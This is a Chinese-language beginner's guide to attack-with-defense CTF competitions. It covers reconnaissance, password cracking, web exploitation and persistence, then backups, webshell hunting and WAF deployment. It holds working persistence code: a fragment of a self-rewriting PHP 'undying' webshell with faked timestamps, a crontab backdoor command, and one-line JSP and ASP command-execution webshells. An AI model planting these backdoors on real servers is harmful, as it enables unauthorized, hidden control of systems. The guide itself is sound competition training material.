(1)AWD入门攻略大纲

1.比赛介绍

---

(1)比赛环境

(2)常见服务器信息介绍

• 比赛名称

• 白名单：一般用于防止外部恶意攻击，如果赛方发现名单以外IP可能会进行封禁处理。

• 服务器账号密码

• Token和虚拟IP：token为提交答案的凭证，绑定了队伍；虚拟IP为靶机访问网址。

• 其他选手地址：例如192-168-x-250.pvp923.bugku.cn，x可以是1-255内任一个数字，需要自己扫描可ping通ip并记录。

• Flag提交区域

• 提交脚本API：最好提前写好提交脚本

(3)题型

• 主要题型为WEB和PWN，涉及语言多数为PHP，还有少量Java、Python。

• WEB主要是一些CMS和框架安全漏洞，如注入、上传和反序列化等，更多是依赖已知漏洞。

(4)攻防思路

2.攻击思路

---

(1)信息收集（攻击）

①主机探测（nmap、httpscan）

• 扫描C段存活主机

    

②端口探测（nmap）

• 首先搜集自己端口信息 ，再类比扫描其他主机

    

③应用发现（代表性文件）

• 组件发现 

• 网站发现 

• 日志发现

④备份扫描

https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

https://github.com/maurosoria/dirsearch WEB网站目录扫描

(2)攻击主机端口

• 未授权访问漏洞利用总结参考: 未授权访问漏洞总结

• 部分利用工具参考:

    https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇

    https://github.com/shack2/SNETCracker 超级弱口令工具

    https://github.com/se55i0n/DBScanner 数据库爆破工具

 https://github.com/cwkiller/unauthorized-check 未授权检测工具

• 字典参考：

    https://github.com/cpkkcb/fuzzDicts

    GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。

(3)攻击Web服务

    一般通过访问获取的端口就能访问到预设的WEB靶场，Web环境分为两种：

• 已有漏洞框架：如Struts2各种漏洞等等，提前准备好工具扫出来

• 出题人设计框架：分析WEB日志，学习其他选手攻击思路和漏洞利用过程

(4)权限提升

Linux 提权总结 - 腾讯云开发者社区-腾讯云 一般提权

https://github.com/SecWiki/linux-kernel-exploits 提权脚本

(5)权限维持

    拿到WEBSHELL后，需要维持权限！简单的WEBSHELL 一眼就会被识别，在AWD 中优先考虑种不死马、反弹 SHELL等留后门方式维持权限，以便后续刷 FLAG，再考虑提升权限。

• 隐藏的文件读取（条件允许的话，将flag信息直接读取并返回到header头中，这样做不易被发现）

    

• PHP不死马案例

';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}

• 定时马案例

system('echo "* * * * * echo \"/var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');    

(6)快速得分

• 编写Python脚本（后续补充）

• CURL工具批量获取Flag（后续补充）

• 批量利用框架工具参考：https://github.com/Ares-X/AWD-Predator-Framework

3.防御技术

---

(1)网站备份

    目的是防止修改源码出错，或被对手恶意删除源码，或快速恢复网站防止被裁判组check探测服务存活失败丢分。

    ①压缩文件

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html 

 ②解压文件

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

③备份到服务器

mv web.tar /tmp
mv web.zip /home/xxx

 ④本地上传下载文件

scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

(2)数据备份

    php网站数据库配置信息为 config.php/web.conf （待补充python和java）

①备份指定数据库

  mysqldump  – u  username – p  password databasename  >  bak.sql

②备份所有数据库

    mysqldump – all -databases > bak.sql

③导入数据库

    mysql – u username – p password database < bak.sql

(3)信息收集（防御）

netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID，以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG

(4)口令更改

    信息搜集后，将未授权和弱口令问题及时修复,包括但不限于 服务器SSH口令、数据库口令和WEB服务口令(后台密码)

passwd username #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’ #查找配置文件中的密码凭证

(5)备份检查（防止备份被删除）

find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip" 

(6)后门查杀（要不断监控）

    命令查看可疑文件：

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

• 一般查杀 ： 河马WEBSHELL和D盾查杀

# phpwebshell




# jspwebshell
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# aspwebshell
<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>

• 不死马查杀：杀进程后重启服务、写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)

• 后门用户查杀：UID大于500的都是非系统账号，500以下的都为系统保留的账号，使用userdel -r username 完全删除账户
• 其他查杀 ：部分后门过于隐蔽，可以使用 ls -al命令查看所有文件及文件修改时间和内容进行综合判断，进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等

经典preg_replace伪装的404后门示例：
使用菜刀连接 密码：error





Not Found
The requested URL was not found on this server.

(7)关闭进程

ps -aux #查看进程
kill -9 pid #强制进程查杀 

(8)关闭端口

netstat -anp #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙 

(9)漏洞修复

    漏洞修复遵循保证服务不长时间宕机的情况下进行修复, 多使用安全过滤函数，能修复尽量修复,不能修复先注释或删除相关代码，但需保证页面显示正常。

     可以下载文件到本地进行修改后上传到服务器进行覆盖操作，也可以直接通过vim编辑器进行代码修复操作 ，恢复参考：

• Web常见漏洞描述及修复建议 - 我超怕的 - 博客园 常规漏洞修复建议
• PHP中的安全函数 - 踏雪无痕SS - 博客园 PHP安全函数

(10)文件监控

        文件监控能及时防止木马文件后门生成，及时防止删除丢失

• 文件监控脚本： GitHub - TheKingOfDuck/FileMonitor: 文件变化实时监控工具(代码审计/黑盒/白盒审计辅助工具)

(11)部署WAF

     比赛规则决定能否部署WAF和监控工具。WAF具有两面性，抵挡大部分攻击的同时， 可能因为某些函数无法使用导致服务宕机。WAF可以自己写，也可以使用如 安全狗等第三方WAF。

• 常见PHP网站系统WAF添加路径：

DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php

• WAF脚本参考： GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF，日志审计功能。